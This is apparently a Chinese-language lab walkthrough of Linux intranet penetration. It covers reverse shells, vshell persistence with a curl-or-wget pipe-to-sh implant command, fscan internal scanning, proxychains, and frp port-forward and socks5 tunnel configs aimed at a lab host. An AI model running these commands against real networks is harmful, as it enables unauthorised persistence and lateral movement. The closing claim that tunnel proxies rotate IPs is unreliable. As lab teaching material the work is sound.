实验目标

熟悉内网渗透的基本流程,熟悉内网渗透时一些基本工具的实验,这个实验基于 Linux

环境搭建

https://github.com/justdoit-cai/LAN-penetration-exp/tree/main/LAN-penetration-exp1

获取暴露在外网的靶机的权限

首先内网渗透的第一步肯定是要先利用外网程序的漏洞来反弹 shell 到自己公网的 vps 上,获取一台外网机器的权限。

持久化webshell

一方面为了 webshell 的稳定性,另一方面为了避免程序的漏洞被修复导致我们无法再利用程序的漏洞获取外网靶机的 webshell ,我们需要上传后门到靶机上来持久化 webshell

这里主要介绍几种持久化 webshell 的工具。

vshell

下载地址

https://github.com/veo/vshell

不过不幸的是,这个工具现在被封禁了,停止了更新并且也不给用了。

使用方法

下载程序到自己的 vps 上,自己的 vps 要开放 8082 (管理端口)和 8084 (上线靶机端口)端口,然后直接启动程序即可。

这里管理页面的默认账号密码是 admin/qwe123qwe

这里我们复制 客户端生成 页面的上线命令通过反弹 shell 在受控的靶机上执行,然后过一会就可以获取持久化的 shell 了。

1
(curl -fsSL -m180 <服务端地址>:8084/slt||wget -T180 -q <服务端地址>:8084/slt)|sh

内网信息收集

fscan

下载地址

https://github.com/shadow1ng/fscan

使用方法

在靶机执行下面的命令:

1
2
3
4
5
wget https://github.com/shadow1ng/fscan/releases/download/1.8.3/fscan
chmod a+x fscan
# 获取受控靶机的内网ip
ifconfig
./fscan -h <内网ip地址网段>

这里发现了 172.18.0.2 这台另外的内网主机,并且开放了 8080 端口。

挂代理进内网

vshell工具

前面用到过的 vshell 自身就支持一键开启代理,而且这个的操作很方便,因为 vshell 会自动帮我们搞好到靶机的代理,不需要我们自己手动操作靶机。

隧道代理的使用方式

这里在介绍下面一种代理工具前,我们先来学习一下怎么使用我们搭建好的 隧道代理 ,这里以 Socks5 隧道代理为例。

proxychains工具

proxychains <待执行的命令> 命令可以指定某个待执行的命令在发起网络请求的时候使用我们 proxychains 使用的代理。这样我们在本地的 kali 对目标内网发起脚本程序攻击时,脚本程序可以连接的到目标内网。

proxychains 的配置文件在为 /etc/proxychains.conf 或者 /etc/proxychains4.conf 。我们配置代理只需要在这个文件的底部如下配置就可以了:

1
2
# 代理如果没有验证就可以不需要后面两个配置
<代理方式> <代理ip> <代理port> <代理验证的用户名> <代理验证的密码>

proxychains 的使用方法如下:

我们可以发现 curl 命令带了 proxychains 走代理就可以成功访问目标内网。

并且我们在 kali 中还可以使用 proxychains 来运行浏览器,这里在渗透内网的网站时就会更方便。

1
2
# 使用代理运行firefox,这样就可以访问内网的页面了
proxychains firefox

frp工具

介绍

frp 是一个高性能的反向代理应用,支持 tcp, udp, http, https 协议。

  • 利用处于防火墙后的机器,对外网环境提供 httphttps 服务。
  • 对于 http , https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个 80 端口。
  • 利用处于防火墙后的机器,对外网环境提供 tcpudp 服务,例如在家里通过 ssh 访问处于公司局部环境的主机。

工作原理

  1. 服务端运行,监听一个主端口,等待客户端的连接;
  2. 客户端连接到服务端的主端口,同时告诉服务端要监听的端口和转发类型;
  3. 服务端 fork 新的进程监听客户端指定的端口;
  4. 外网用户连接到客户端指定的端口,服务端通过和客户端的连接将数据转发到客户端;
  5. 客户端进程再将数据转发到本地服务,从而实现内网对外暴露服务的能力。

下载地址

https://github.com/fatedier/frp

使用方法

老版本的 frp 使用的是 ini 配置文件,新版本的 frp 默认使用的是 toml 配置文件。最新版的配置文件格式参考: https://dusays.com/636/

在自己的公网服务器上执行下面的命令:

1
2
3
wget https://github.com/fatedier/frp/releases/download/v0.56.0/frp_0.56.0_linux_amd64.tar.gz
tar -zxvf frp_0.56.0_linux_amd64.tar.gz
./frps -c frps.toml

下面两种方式的 frps.toml 的文件内容都如下:

1
bindPort = 10002

在靶机上执行上面相似的命令:

1
2
3
wget https://github.com/fatedier/frp/releases/download/v0.56.0/frp_0.56.0_linux_amd64.tar.gz
tar -zxvf frp_0.56.0_linux_amd64.tar.gz
./frpc -c frpc.toml

方法一:传统代理配置

frpc.toml 的文件内容如下:

1
2
3
4
5
6
7
8
9
serverAddr = "43.139.58.138"
serverPort = 10002

[[proxies]]
name = "test"
type = "tcp"
localIP = "172.18.0.2"
localPort = 8080
remotePort = 10001

其中 server 端的 bindPort 对应 client 端的 serverPort ,注意这个端口是它们两个的数据通信端口,而非我们访问的端口。上面的文件内容表示我们对公网 43.139.58.138:10001 地址发过去的 tcp 数据会被转发到内网的 172.18.0.2:8080 处。

注意这里在访问内网的时候需要通过公网的 ip 地址来访问。

方法二:socks5隧道代理配置

按照 frp 本身的工作原理是使用的传统代理配置,但是 frp 也提供了插件来搭建隧道代理,使用方式如下。

frpc.toml 的文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
serverAddr = "43.139.58.138"
serverPort = 10002

[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 10001
[proxies.plugin]
type = "socks5"
username = "anchor"
password = "justdoit123"

然后启动两端后使用的方式和前面的 vshell 代理一样,使用内网 ip 地址来访问。

传统代理和隧道代理的区别

隧道代理( Tunnel Proxy )是一种特殊的代理服务,它允许用户通过固定的本地 IP 和端口访问互联网。在这个过程中,云端服务器负责 自动切换 IP 地址,从而实现 匿名访问 。通过隧道代理,用户可以绕过网络审查,保护网络通讯安全,以及隐藏用户身份。

隧道代理的工作原理相对简单。当您通过隧道代理访问互联网时,本地计算机将请求发送到代理服务器。代理服务器接收到请求后,会使用其 自身的 IP 地址与目标服务器建立连接 。在数据传输过程中,代理服务器会自动更换 IP 地址,确保用户的真实 IP 地址不被泄露。